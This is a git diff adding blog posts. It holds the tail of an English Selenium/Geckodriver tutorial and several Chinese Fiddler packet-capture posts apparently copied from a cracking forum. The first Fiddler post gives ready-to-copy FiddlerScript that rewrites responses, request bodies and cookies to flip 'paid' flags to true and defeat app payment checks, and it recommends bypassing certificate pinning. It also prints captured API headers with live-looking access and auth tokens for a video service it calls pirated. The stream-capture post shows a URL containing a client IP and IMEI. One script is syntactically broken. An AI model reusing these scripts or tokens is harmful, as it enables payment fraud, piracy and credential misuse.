tool versions that we will be using in this article are – + +- **Selenium** – version 3.11.0 +- **Firefox** – version 59.0.2 (Firefox Quantum) +- **Geckodriver** – version 0.20.1 + + + +**Are you using an older version of Selenium Webdriver?** Make sure you switch to the [**latest Selenium Webdriver version**](http://www.automationtestinghub.com/selenium-3/) to avoid compatibility issues!! + +![Launch Firefox with Selenium 3.0](http://www.automationtestinghub.com/images/selenium/launch-firefox-with-geckodriver.png) + +## What is Selenium Geckodriver? + +Let us first start with the very basics – What is Gecko and GeckoDriver? Gecko is a web browser engine used in many applications developed by Mozilla Foundation and the Mozilla Corporation, most noticeably the Firefox web browser, its mobile version other than iOS devices, their email client Thunderbird and many other open source software projects. You can get more information about Gecko here – + +**Geckodriver is a proxy for using W3C WebDriver-compatible clients to interact with Gecko-based browsers i.e. Mozilla Firefox in this case.** This program provides the HTTP API described by the WebDriver protocol to communicate with Gecko browsers. It translates calls into the Marionette automation protocol by acting as a proxy between the local and remote ends. + +## How things worked before Geckodriver and Selenium 3 + +If you are new to Selenium and you have started directly with Selenium 3.x, you would not know how Firefox was launched with the previous versions of Selenium (version 2.53 and before). It was a pretty straight forward process where you were not required to use Geckodriver or any other driver. After you [download and install Selenium](http://www.automationtestinghub.com/download-and-install-selenium/), you just write the code to instantiate the WebDriver and open Firefox. The code snippet is shown below – + + + +public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get("http://www.google.com"); } } + +| 1234567 | public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(""); }} | +| ------- | ------------------------------------------------------------ | +| | | + + + +If you just run this code, you would notice that Firefox browser would get opened and [Google.com](http://Google.com) would be displayed in the browser. This is how it worked with Selenium 2.53 and before. Let’s see whats the new implementation in Selenium 3. + +## What happens when you don’t use Firefox Geckodriver with Selenium 3.x + +To try this out, all that you need to do is point your JAR files to the latest version of Selenium 3 and then run the same code that is given above. You will now notice that [Google.com](http://Google.com) page would not open in a new Firefox window. Instead you will see an error message as shown below – + +> **java.lang.IllegalStateException: The path to the driver executable must be set by the webdriver.gecko.driver system property; for more information, see https://github.com/mozilla/geckodriver. The latest version can be downloaded from https://github.com/mozilla/geckodriver/releases** + +![Geckodriver Error](http://www.automationtestinghub.com/images/selenium/webdriver-gecko-driver-error.png) + +You will need to use Selenium Geckodriver to remove this error. Let us see how this can be done. + +## How to use Selenium Geckodriver to launch Firefox + +To launch Firefox with Selenium Geckodriver, you will first need to download Geckodriver and then set its path. This can be done in two ways as depicted in the below image – + +![Process to use Geckodriver](http://www.automationtestinghub.com/images/selenium/process-to-use-geckodriver.png) + +## Check if Firefox is 32-bit or 64-bit + +**There are two versions of Geckodriver for Windows: 32-bit and 64-bit**. Based on whether your Firefox is 32-bit or 64-bit, you need to download the corresponding Geckodriver exe. In this section, you will first check whether your Firefox is 32-bit or 64-bit + +**1.** Open Firefox on your machine. Click on Hamburger icon from the right corner to open the menu as shown below + +![Open Firefox Menu](http://www.automationtestinghub.com/images/selenium/firefox-hamburger-icon-menu.png) + +**2.** From this menu, click on Help icon (Help icon is marked in red box in the above image) + +**3.** Once you click on Help icon, the **Help Menu** would be displayed + +![Help Menu - Firefox](http://www.automationtestinghub.com/images/selenium/firefox-help-menu.png) + +**4.** Click on **About Firefox** from the Help menu. **About Mozilla Firefox** popup would be displayed + +![Check if Mozilla Firefox is 32-bit or 64-bit](http://www.automationtestinghub.com/images/selenium/about-mozilla-firefox-check-firefox-version-59.png) + +**5.** Note down whether Firefox is 32 or 64 bit. **For us, Firefox is 64-bit as shown in the above image.** Now close this popup and close Firefox as well. + +## Download the latest version of Selenium Geckodriver + +Follow the steps given below to download Geckodriver – + +**1.** Open this Github page – + +**2.** Download the latest release (windows version) based on whether your Firefox is 32-bit or 64-bit. We are downloading **geckodriver-v0.20.1-win64.zip**, as we have 64-bit Firefox + +![Download latest version of GeckoDriver](http://www.automationtestinghub.com/images/selenium/download-geckodriver-latest-version.png) + +**3.** Once the zip file is downloaded, unzip it to retrieve the driver – geckodriver.exe + +This completes the downloading process. Now let’s see how you can use it in your project. There are 2 methods using which you can configure this driver in your project. You can use any of these methods. + +According to this [statcounter report](http://gs.statcounter.com/browser-market-share), Chrome is by far the most used browser. If you are learning Selenium, [**make sure that you run your scripts on Chrome browser as well**](http://www.automationtestinghub.com/selenium-chromedriver/) + +## Launch Firefox Method 1 : webdriver.gecko.driver system property + +With this method, you will have to add an additional line of code in your test case. Follow the steps given below to use this method – + +**1.** Copy the entire path where you unzipped geckodriver.exe. Let us assume that the location is – D:\Firefox\geckodriver.exe. You will need to add **System.setProperty** with the driver location to your code. + +The code to launch Firefox browser would look like this – + +**Important Note 1:** In the folder paths in the below code, we have used double backslash (\\). This is because Java treats single back slash (\) as an escape character. So you would need to use double back slash, everywhere you add some folder path. + + + +public class FirefoxTest { public static void main(String[] args) { System.setProperty("webdriver.gecko.driver","D:\\Firefox\\geckodriver.exe"); WebDriver driver = new FirefoxDriver(); driver.get("http://www.google.com"); } } + +| 123456789 | public class FirefoxTest { public static void main(String[] args) { System.setProperty("webdriver.gecko.driver","D:\\Firefox\\geckodriver.exe"); WebDriver driver = new FirefoxDriver(); driver.get(""); }} | +| --------- | ------------------------------------------------------------ | +| | | + + + +**Important Note 2:** If you are using older versions of Geckodriver (v0.16.1 or before), then you will also need to provide the Firefox Binary, otherwise you might get the below error – + +*org.openqa.selenium.SessionNotCreatedException: Expected browser binary location, but unable to find binary in default location, no ‘moz:firefoxOptions.binary’ capability provided, and no binary flag set on the command line* + +**But please note that this is needed only for Geckodriver v0.16.1 or before.** So for older Gecko versions, please use the below code where Firefox binary location has been provided using FirefoxOptions class. + + + +public class FirefoxTest { public static void main(String[] args) { System.setProperty("webdriver.gecko.driver","D:\\Firefox\\geckodriver.exe"); FirefoxOptions options = new FirefoxOptions(); options.setBinary("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get("http://www.google.com"); } } + +| 123456789101112 | public class FirefoxTest { public static void main(String[] args) { System.setProperty("webdriver.gecko.driver","D:\\Firefox\\geckodriver.exe"); FirefoxOptions options = new FirefoxOptions(); options.setBinary("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(""); }} | +| --------------- | ------------------------------------------------------------ | +| | | + + + +**3.** Run this code to verify that everything is working fine. You will notice that [google.com](http://google.com) gets opened in new Firefox window + +### Launch Firefox Method 2 : Set property in Environment Variables + +**1.** Copy the entire folder location where geckodriver.exe is saved. If the entire path is D:\Firefox\geckodriver.exe, then the folder location would be D:\Firefox\ + +**2.** Open Advanced tab in System Properties window as shown in below image. + +![System Properties](http://www.automationtestinghub.com/images/selenium/system-properties.png) + +**3.** Open Environment Variables window. + +![Environment Variables Window](http://www.automationtestinghub.com/images/selenium/environment-variables-section.png) + +**4.** In System variables section, select the Path variable (highlighted in the above image) and click on Edit button. Then add the location of Geckodriver that we copied in step 1 (D:\Firefox\), to path variable (below image shows UI for Windows 10) + +![Add GeckoDriver path to Environment Variables](http://www.automationtestinghub.com/images/selenium/add-geckodriver-path-to-environment-variables.png) + +**5.** If you are using Windows 7, then move to the end of the Variable value field, then add a semi-colon (;) and then add the folder location as shown below (Semicolon acts as a separator between multiple values in the field) + +![Add GeckoDriver in Path Variable - Windows 7](http://www.automationtestinghub.com/images/selenium/add-geckodriver-location-in-path-variable.png) + +**6.** Click on Ok button to close the windows. Once the path is set, you would not need to set the System property every time in the test script. Your test script would simply look like this – + +**For GeckoDriver v0.20, v0.19.0, v0.18.0 and v0.17.0 –** + +public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get("http://www.google.com"); } } + +| 1234567 | public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(""); }} | +| ------- | ------------------------------------------------------------ | +| | | + + + **For GeckoDriver v0.16.1 or before –** + +public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get("http://www.google.com"); } } + +| 12345678910 | public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(""); }} | +| ----------- | ------------------------------------------------------------ | +| | | + + + +**7.** Run the code to check that it works fine. + + + This completes our article on how you can use launch Firefox with Selenium GeckoDriver. Try it out and let us know if this worked for you. **Feel free to contact us using comments section if you face any issue while implementing this.** + + + **UPDATE 1 [30 April, 2017]:** Use DesiredCapabilities and FirefoxOptions to launch Firefox with Selenium GeckoDriver + + + +public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); //Location where Firefox is installed DesiredCapabilities capabilities = DesiredCapabilities.firefox(); capabilities.setCapability("moz:firefoxOptions", options); //set more capabilities as per your requirements FirefoxDriver driver = new FirefoxDriver(capabilities); driver.get("http://www.google.com"); } } + +| 1234567891011121314 | public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); //Location where Firefox is installed DesiredCapabilities capabilities = DesiredCapabilities.firefox(); capabilities.setCapability("moz:firefoxOptions", options); //set more capabilities as per your requirements FirefoxDriver driver = new FirefoxDriver(capabilities); driver.get(""); }} | +| ------------------- | ------------------------------------------------------------ | +| | | + + + +**Here are a few hand-picked articles for you to read next:** + +- [Learn how to launch firefox in headless mode with Selenium](http://www.automationtestinghub.com/selenium-headless-chrome-firefox/) +- [Disable low level console logs when you run your tests on Firefox](http://www.automationtestinghub.com/disable-firefox-logs-selenium/) +- [Add the power of Cucumber BDD to your test scripts](http://www.automationtestinghub.com/cucumber-selenium-testing-tutorial/) \ No newline at end of file diff --git a/source/_posts/fiddler - four.md b/source/_posts/fiddler - four.md new file mode 100644 index 0000000..5dab90b --- /dev/null +++ b/source/_posts/fiddler - four.md @@ -0,0 +1,62 @@ +--- +title: 【Fiddler为所欲为第四篇】直播源抓取与接口分析 +date: 2019-06-02 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: fiddler +tags: + - fiddler + +--- + +- 今天的教程,主要是教大家如何进行“封包逆向”,关键词跳转,接口分析。(怎么样,是不是感觉和OD很像~~~) +今天的教程我们以【麻花影视】为例,当然,其他APP的逻辑也是一样,通用的哦~ + 首先需要做好准备工作:(所有APP的抓包都会用到以下工具,就不要再说抓不到证书的包啦。) +1、安卓模拟器,并进行root。(推荐使用MUMU模拟器),当然,安卓手机肯定没有问题。 + 2、安装XP框架(用模拟器可以自适应),链接: 提取码:5m98 +3、安装https HOST(基于XP框架),链接: 提取码:0f2d + 以上的准备工作必须要做,不然很多包是抓不到的!!! +FD的wifi代{过}{滤}理教程就不说啦,网上很多,我这里直接开始演示哦~ + 第一步: +首先,我们打开咪咕视频,找到想要抓的节目,并观察FD里面是否有数据。【我这里就以【CCTV1】为例】。 + ![img](https://attach.52pojie.cn/forum/201902/12/111630rlmlqowxl2luxzqw.png) + + ![img](https://attach.52pojie.cn/forum/201902/12/111710y5nasnq48y8xkwwq.png) +若发现FD有数据,既表示正确,既可开始下一步。 + 第二步: +正常打开CCTV1,然后看FD里面的数据。 + ![img](https://attach.52pojie.cn/forum/201902/12/111905raeqtq7e6f4co4qe.png) + + ![img](https://attach.52pojie.cn/forum/201902/12/111906lvckovfec0e2dl2f.png) +第三步: + 过滤封包,将所有封包进行数据化。 +![img](https://attach.52pojie.cn/forum/201902/12/112204dpmrlssbhpbhqq4x.png) + 第四步: +进行关键字查询,和OD的PUSH大法差不多,直播源的关键词是【m3u8】。首先我们需要查询咪咕视频的节目源是否是m3u8格式,因此搜索:m3u8,若出现黄色表示该请求含有m3u8.因此,我们需要看看这个封包。 + ![img](https://attach.52pojie.cn/forum/201902/12/112524yiqqjcjt0qjqggmp.png) +第五步: + 封包分析,通常非常多数据的则是ison,所以我们点击json。 +![img](https://attach.52pojie.cn/forum/201902/12/112937n16cetee36ewngwg.png) + 通过Json,很明显,可以看得出来,这个play.miguvideo.com这个域名,返回了一个m3u8的地址。 +url=http://gslbmgsplive.miguvideo.com/wd_r2/cctv/cctv1/600/index.m3u8?msisdn=10b1efdfd58919f4ccf07b3987d39131&mdspid=&spid=699004&netType=4&sid=2200291011&pid=2028597139×tamp=20190212113218&Channel_ID=25000502-99000-200300080100005&ParentNodeID=-99&assertID=2200291011&client_ip=125.123.158.154&SecurityKey=20190212113218&imei=008796753773920&promotionId=&mvid=&mcid=&mpid=&encrypt=4b4a040bf73d40d80a8974fdc095d593 + 可以看出,这个m3u8,包含了很多参数,比如我们的IP信息。 + ![img](https://attach.52pojie.cn/forum/201902/12/113051dogmflkvvqqbxafv.png) + 第六部: + 用VCL等播放工具,试试看能不能播放。若可以播放,则证明我们的播放地址是对的。因此,play.miguvideo.com则是播放地址的接口。 + ![img](https://attach.52pojie.cn/forum/201902/12/113430z21rrhr7x4418r4h.png) + 第七部:抓任意频道的接口。 + 我们用在FD命令下输入:bpater play.miguvideo.com + ![img](https://attach.52pojie.cn/forum/201902/12/114232x1vvgb1adll92znl.png) + 然后回车。 + ![img](https://attach.52pojie.cn/forum/201902/12/114232su6uooiiz2o5mjo6.png) + 第八部: + 点击任意频道,就可以自动下断点得到播放地址了。而且非常明显! + ![img](https://attach.52pojie.cn/forum/201902/12/114406wag1ewrxgxrzmq9g.png) + + \ No newline at end of file diff --git a/source/_posts/fiddler - one.md b/source/_posts/fiddler - one.md new file mode 100644 index 0000000..b84a53f --- /dev/null +++ b/source/_posts/fiddler - one.md @@ -0,0 +1,228 @@ +--- +title: Fiddler大解析!抱歉,抓包抓得好真的可以为所欲为 +date: 2019-06-02 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: fiddler +tags: + - fiddler + +--- + +说起抓包,很多人以为就是用个工具,简简单单地抓一下就可以了。 + +在这里,我必须发一个教程,解析一下抓包神器——Fiddler。 + +Fiddler仅仅是一个抓包工具?不好意思,Fiddler用得好,真的可以为所欲为。 + +Fiddler的作者 + +- Fiddler 的作者是 Eric Lawrence 是个大师级的人物, 目前在微软总部西雅图工作。 他的博客是: +- 博客中能看到他的简历,以及一些生活照. + + +Fiddler的介绍 + +- Fiddler是强大的抓包工具,它的原理是以web代{过}{滤}理服务器的形式进行工作的,使用的代{过}{滤}理地址是:127.0.0.1,端口默认为8888,我们也可以通过设置进行修改。 +- 代{过}{滤}理就是在客户端和服务器之间设置一道关卡,客户端先将请求数据发送出去后,代{过}{滤}理服务器会将数据包进行拦截,代{过}{滤}理服务器再冒充客户端发送数据到服务器;同理,服务器将响应数据返回,代{过}{滤}理服务器也会将数据拦截,再返回给客户端。 +- Fiddler可以抓取支持http代{过}{滤}理的任意程序的数据包,如果要抓取https会话,要先安装证书。 + + + + +这两点,希望大家牢记。接下来,给大家介绍Fiddler超级强大的地方之一——Fiddler Script. + + 论坛有很多Fiddler的使用教程,这里就不多说了。但是,却没有一个人说到最强大的脚本功能! + +> Fiddler 包含了一个脚本文件可以自动修改Http Request 和Response.这样我们就不需要手动地下"断点"去修改了,实际上它是一个脚本文件CustomRules.js +> 位于: C:\Documents and Settings\[your user]\My Documents\Fiddler2\Scripts\CustomRules.js 下,你也可以在Fiddler 中打开CustomRules.js 文件, 启动Fiddler, 点击菜单Rules->Customize Rules... +> Fiddler Script 的官方帮助文档必须认真阅读, 地址是: + +小常识:Fiddler Script 是用JScript.NET语言写的 + + + +那么Fiddler Script到底有什么用?我这里来列举一些大家肯定遇到过的问题: + +场景1:一个付费验证,是否付费会返回一个json。里面有一个时间戳和一个false。如果时间戳和客户端不一致,则为[破解](https://www.52pojie.cn)失败。 + +那么你一定会这么想,有没有一个功能,可以只替换json里面部分参数,然后返回给客户端,而不是全部写死呢?于是,我们需要使用到script了!代码如下:如一个json是这个内容,baidu.com,返回了一个【name:吾爱破解,付费:false】 + +> if (oSession.fullUrl.Contains("http://www.baidu.com")) +> { +> +> // 获取Response Body、Request Body中JSON字符串,转换为可编辑的JSONObject变量 +> var responseStringOriginal = oSession.GetResponseBodyAsString(); +> var responseJSON = Fiddler.WebFormats.JSON.JsonDecode(responseStringOriginal); +> var requestStringOriginal=oSession.GetRequestBodyAsString(); +> var requestJSON = Fiddler.WebFormats.JSON.JsonDecode(requestStringOriginal); +> ){ //请求参数中,若type为1,对返回值做如下修改 +> +> responseJSON.JSONObject['付费'] = "true"; +> // 重新设置Response Body +> var responseStringDestinal = Fiddler.WebFormats.JSON.JsonEncode(responseJSON.JSONObject); +> oSession.utilSetResponseBody(responseStringDestinal); +> } +> } +> } + + 通过以上代码,即可每次在baidu返回数据时,自动将付费改为true,从而达到了破解的效果。 + + + + +场景2:我想要修改request的Body里面的部分参数,每次下完断点,修改完再提交,总会网络超时或者APP超时。这该怎么办?难道只能靠手速? + +> ​ if(oSession.uriContains("http://www.baidu.com")) +> ​ { +> ​ var strBody=oSession.GetRequestBodyAsString();// 获取Request 中的body字符串 +> ​ strBody=strBody.replace("false","true");// 用正则表达式或者replace方法去修改string,将false改为true +> ​ FiddlerObject.alert(strBody);// 弹个对话框检查下修改后的body +> ​ oSession.utilSetRequestBody(strBody);// 将修改后的body,重新写回Request中 +> ​ } + +场景3:我想要修改cookie,改成一个付费过的cookie,但是需要实时生成,不能靠手速。这该怎么办? + +> if (oSession.HostnameIs('www.baidu.com') && oSession.uriContains('pagewithCookie') && oSession.oRequest.headers.Contains("Cookie")) +> { +> var sCookie = oSession.oRequest["Cookie"]; +> // 用replace方法或者正则表达式的方法去操作cookie的string +> sCookie = sCookie.Replace("付费=false", "付费=true"); +> oSession.oRequest["Cookie"] = sCookie; + +场景4:我想要知道他到底有没有请求具体哪个网址,用查找速度太慢了。过滤也很慢。 + +> if (oSession.HostnameIs("www.baidu.com")) { +> oSession["ui-color"] = "red"; +> } + +场景5:我想要自动保存某个接口的数据到本地,怎么才能实现? + +> if (oSession.fullUrl.Contains("www.baidu.com/playurl/v1/") ){ +> oSession.utilDecodeResponse();//消除保存的请求可能存在乱码的情况 +> var fso; +> var file; +> fso = new ActiveXObject("Scripting.FileSystemObject"); +> //文件保存路径,可自定义 +> file = fso.OpenTextFile("D:\\Sessions.txt",8 ,true, true); +> //file.writeLine("Response code: " + oSession.responseCode); +> file.writeLine("Response body: " + oSession.GetResponseBodyAsString()); +> file.writeLine("\n"); +> file.close(); +> } + + —————————————————————————————————————————————————————————————————————— + + 以上就是Fiddler script经常使用到的功能,免费奉献给大家。直接复制即可使用。 + + Fiddler的脚本介绍到这里,那么,说到底Fiddler还是只能抓包啊,即使基于xpoesd能抓到https的包,还是发现有很多包抓不到啊!!!等等,本文还没完呢! + + ( + +**接下来的内容,公布过后,会涉及到技术滥用,因此,仅公布原理。** + +) + + 首先来讲https,也就是安卓APP证书这一款,目前论坛上已经有不少的朋友发了相关的一些程序,大家可以去下载。 + + 如: + +https://www.52pojie.cn/thread-854170-1-1.html + + 但是,我个人比较倾向于just trust me这个插件,这是最全能的。just trust me是hook了安卓框架验证机制,更加棒~ + + ———————————————————————————————————————————————————————— + + 首先,大家抓包会遇到一个问题,为什么即使绕过了APP证书验证,为什么还是抓不到包!难道不是http协议? + + 其实并不是,APP大多数还是走的http协议,那为什么抓不到优酷的视频?抓不到关键的访问——原因在于此,代{过}{滤}理! + +> 目前有非常多的APP,都为了防止被抓包,不仅仅是只用了https这么简单。而使用fiddler抓不到包,本质原因在于wifi代{过}{滤}理!很多APP会检测你是否用了wifi代{过}{滤}理,如果设置了,则APP无法正常使用。这样就会从根本上杜绝被抓包 + + 那么,我们要怎么做才能防止这种情况的发生呢? + + 比较笨的一种办法依旧是使用xposed上的just trust me,依旧hook相关函数,即可破解该策略。 + + ————————————————————————————————————————————————————————— + + 等等,我发现用了trust me过后,还是抓不到包,这到底是怎么回事!!! + + 非常简单,他们就是利用了本地服务器中转,这样的话Fiddler是抓不了包的。比如著名APP:麻花影视、电视家 + + 那么,有没有办法能抓到这种操作的包呢?当然是有的。 + + 这边只能透露几点,不能正大光明地公布,否则大量非法分子就可以破解非常多的APP了。 + +> 提示:Fiddler的本质其实就是代{过}{滤}理服务器,那么,如果是代{过}{滤}理服务器,所有的请求是不是都会走这台服务器呢?那是肯定的。 + + —————————————————————————————————————————————————————————— + + 最后,抓包除了破解APP以外,还有什么用? + + 第一:抓接口,可以将所有的视频点播类APP都抓下来! + + 如麻花视频: + + ———————— + +> GET [http://api.acgplusplus.com/api/a ... &time=1547183436020](http://api.acgplusplus.com/api/app/video/ver2/user/clickPlayVideo_tv/7/1450?videoId=53913&time=1547183436020) HTTP/1.1 + +> Content-Type: application/json + +> Accept: application/json + +> accessToken: 936b8872c4f81b6537eaa80f4e2e78c7807cebbcb02548d8d4da1e55c61c6509 + +> X-Client-NonceStr: FbWu9jFnpG + +> X-Client-IP: 127.0.0.1 + +> X-Client-TimeStamp: 1543592259810 + +> X-Client-Version: 1.1.1 + +> X-Client-Sign: 61274de99728b3981041d657bec4528b416658cd651110f9cf950dd3fbc0b15f + +> X-Auth-Token: mb_token:25361603:1211f5511483be1def9af655c10ede12 + +> X-Client-Token: + +> Host: api.acgplusplus.com + +> Connection: Keep-Alive + +> User-Agent: okhttp/3.10.0 + +> Accept-Encoding: identity + + —————————————————————————————————— + + 这个接口大家可以用用,永不失效的接口!返回出来的地址就是这样。(大家可以直接用,哈哈,本来麻花视频也是盗版的) + + 再比如优酷的播放接口: + +> GET 不公布,免得被盗用 +> User-Agent: Youku;7.5.0;Android;6.0.1;MuMu +> Host: ups.youku.com +> Connection: Keep-Alive +> Accept-Encoding: gzip, deflate + + 这些接口,全都是永久有效的! + + 拥有抓包技术,你就可以自己制作任何的视频APP,调用第三方的接口即可!!! + + 另外楼主尝试过支付宝等相关APP,依旧能抓到部分的包。 + + + +#### + + + + \ No newline at end of file diff --git a/source/_posts/fiddler - three.md b/source/_posts/fiddler - three.md new file mode 100644 index 0000000..21b4501 --- /dev/null +++ b/source/_posts/fiddler - three.md @@ -0,0 +1,205 @@ +--- +title: 【Fiddler为所欲为第三篇】封包逆向必备知识 +date: 2019-06-02 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: fiddler +tags: + - fiddler + +--- + +- > > > 小A同学:会抓包有什么好学习的,不就用一个工具设置个wifi代{过}{滤}理就OK了嘛,还不是很多做不了。不如学习安卓逆向。 + > > > didi科学家:不好意思,抓包可以为所欲为。 + > > + > > 其实学习抓包,完完全全和OD是一模一样的逻辑,尤其是封包逆向。使用OD需要知道jmp等指令是什么意思,而抓包也是一样的逻辑! + > + > 一、封包字段的含义 + > + > ![img](https://attach.52pojie.cn/forum/201901/28/135039covgodhuu3o88boo.png) + > + > 如图所示,Fiddler的整个界面就是这样,那么这些字段究竟是什么意思呢?这里给大家说一下: + > + > Result:HTTP状态码       + > + > Protocol:请求使用的协议,如HTTP/HTTPS/FTP等 + > + > HOST:请求地址的主机名或域名 + > + > URL:请求资源的位置 + > + > Body:请求大小 + > + > Caching:请求的缓存过期时间或者缓存控制值 + > + > Content-Type:请求响应的类型 + > + > Process:发送此请求的进程ID + > + > Comments:备注 + > + > Custom:自定义值 + > + > + > + > + > 二、Request区域 + > + > Request区域如图所示: + > + > ![img](https://attach.52pojie.cn/forum/201901/28/135450gqpqw51wm2rarnaw.png) + > + > 那么每一个数据都是什么意思呢? + > + > 请求方式:GET/POST等 + > + > 协议: HTTP/1.1(通常都是这个) + > + > \1. Cache 头域 + > + >   if-Modified-since:缓存 + > + >   if-None-Match:可提高性能(在Response中添加ETag信息,客户端再次请求资源,Request中加入if-None-Match(ETag的值),服务器验证ETag,若没改变返回状态码304,有改变,返回状态码200) + > + >   Pragma:防止页面被缓存 + > + >   Cache-Control:Response—Request遵循的缓存机制 + > + >   public:可以被任何缓存所缓存 + > + >   private:内容只缓存在私有缓存中 + > + >   no-cache:所有内容都不会被缓存 + > + > \2. Client 头域 + > + >   User-Agent: 告知服务器客户端使用的操作系统与浏览器的名称和版本 + > + >   Accept: 浏览器端可以接受的媒体、文件类型 + > + >   Accept-Encoding: 指定压缩方法,是否支持压缩,支持什么压缩方法(gzip、deflate) + > + >   Accept-Language: 浏览器申明自己的接收语言 + > + >   Accept-chareset:浏览器申明自己接收的字符集。如gb2312,UTF_8 + > + > \3. Cookies 头域 + > + >   有的请求不发送Cookies,有的请求有Cookies。 + > + >   目的:将cookie值发送给服务器 + > + > \4. Entity头域 + > + >   Content-Length:发送给HTTP服务器的数据长度 + > + >   Content-Type:决定文件接收方将以什么形式、什么编码读取此文件 + > + > \5. Security 头域: + > + >   Upgrade-Insecure-Requests: 1(默认,这个是自己协商的) + > + > \6. Transport 头域: + > + >   Host: 发送请求时,该报头域是必需的。主要用于指定被请求资源的Internet主机和端口号,通常从HTTP URL 中提取出来 + > + >   Proxy-Connection: 当网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接是否关闭。keep-alive表示不会关闭,客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接;close表示关闭,客户端再次访问这个服务器上的网页,需要重新建立连接。 + > + >   connection:Keep—alive TCP连接不会关闭 + > + >   connection:close 一个Request完成后,TCP连接关闭 + > + > \7. Miscellaneous头域 + > + >   Referer:提供了Request的上下文信息,告诉服务器我是从哪个链接过来的 + > + >   A------>B(B的服务器从Referer中统计有多少用户是从A过来的) + > + > + > + > + > 三、Response + > + > Response如图所示: + > + > ![img](https://attach.52pojie.cn/forum/201901/28/135912nv971av7gz7zhz87.png) + > + > \1. Cache头域 + > + >   Date:生成消息的具体时间和日期 + > + >   Expires:浏览器在指定过期时间内使用本地缓存 + > + > \2. Cookie/Login头域 + > + >   P3P:用户跨域设置cookie,可以解决iframe跨域访问cookie的问题 + > + >   Set-Cookie:重要的header,用于把cookie发送到客户端浏览器,每一个写入cookie都会生成一个set-cookie + > + > \3. Entity头域 + > + >   ETag:与if-None-Match配合使用 + > + >   Last-Modified:用于指示资源的最后修改日期和时间 + > + >   Content-Type:Web服务器告知浏览器自己响应对象的类型和字符集 + > + >   Content-Length:指明实体正文长度,以字节方式存储的十进制数字表示。在数据下行中,要预先在服务器中缓存所有数据,然后所有数据一并发给客户端 + > + >   Content-Encoding:Web服务器表明自己用了什么压缩方式(gzip、deflate)压缩响应中的对象 + > + >   Content-Language:服务器告知浏览器自己响应的对象语言 + > + > \4. Miscellaneous头域 + > + >   Server:指明HTTP服务器的软件信息 + > + >   X-Powered-By:表明网站是用什么技术开发的 + > + >   X-AspNet-Version:如果网站是用Asp/Net开发的,这个header用来表明Asp/Net的版本 + > + > \5. Transport头域 + > + >   connection:Keep—alive TCP连接不会关闭 + > + >   connection:close 一个Request完成后,TCP连接关闭 + > + > \6. Location头域 + > + >   Location:用于重定向一个新的位置,包括新的URL地址 + > + > + > + > + > 四、HTTP认证过程 + > + >   1. 客户端发送HTTP Request给服务器; + > + >   2. Request中未包含Authorization header,服务器会返回一个401错误给客户端,且在Response中的header“www-Authenticate”中添加信息; + > + >   3. 客户端将用户名和密码以base64加密后,放在Authorization中发送给服务器,认证成功; + > + >   4. 服务器将Authorization header中的用户名和密码去除,进行验证。如果验证通过,将根据请求发送资源给客户端; + > + >   HTTP OAuth认证:OAuth对于http来说,就是放在Authorization header中的不是用户名密码,而是一个token(令牌)。 + > + >   客户端的使用:客户端若要跟“使用基本认证的网站”进行交互,将用户名密码加载Authorization header中即可。 + > + > + > + > + > 五、Fiddler常见图标的含义 + > + > ![img](https://attach.52pojie.cn/forum/201901/28/140158gnv8bl6hlo7uul3v.png) + > + > + > + + + diff --git a/source/_posts/fiddler - two.md b/source/_posts/fiddler - two.md new file mode 100644 index 0000000..9ae8ae2 --- /dev/null +++ b/source/_posts/fiddler - two.md @@ -0,0 +1,193 @@ +--- +title: 【Fiddler为所欲为第二篇】像OD一样调试 +date: 2019-06-02 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: fiddler +tags: + - fiddler + +--- + +- > 导语: +> 其实Fiddler隐藏的功能太多太多,其调试功能也是异常强大,可以说是抓包界的“[OllyDbg](https://www.52pojie.cn/thread-350397-1-1.html)”并不为过。接下来,教大家如何使用Fiddler进行调试、解析,甚至封包“逆向”! + > +> + +**一、像OD一样定制菜单** + + + 1.1定制rule菜单的子菜单 + + +> > > ​ // 定义名为52pj的子菜单 + > > > ​ RulesString("&52pj", true); +> > > ​ // 生成52pj子菜单的radio选项 + > > > ​ RulesStringValue(0,"安卓8.0", "52pj&狂暴补师亚丝娜&k=52pj") +> > > ​ RulesStringValue(1,"安卓9.0", "52pj&610100&k=52pj") + > > > ​ RulesStringValue(2,"安卓10.0", "52pj&didi科学家&k=52pj") +> > > ​ RulesStringValue(3,"安卓11.0", "52pj&CrazyNut&k=52pj") + > > > ​ RulesStringValue(4,"&Custom...", "%CUSTOM%") +> > > ​ public static var s52pj: String = null; + > > +> > > } + > +> 还需要在OnBeforeRequest函数中加入: + +> if (null != s52pj) { + > oSession.oRequest["52pj"] = s52pj; + + 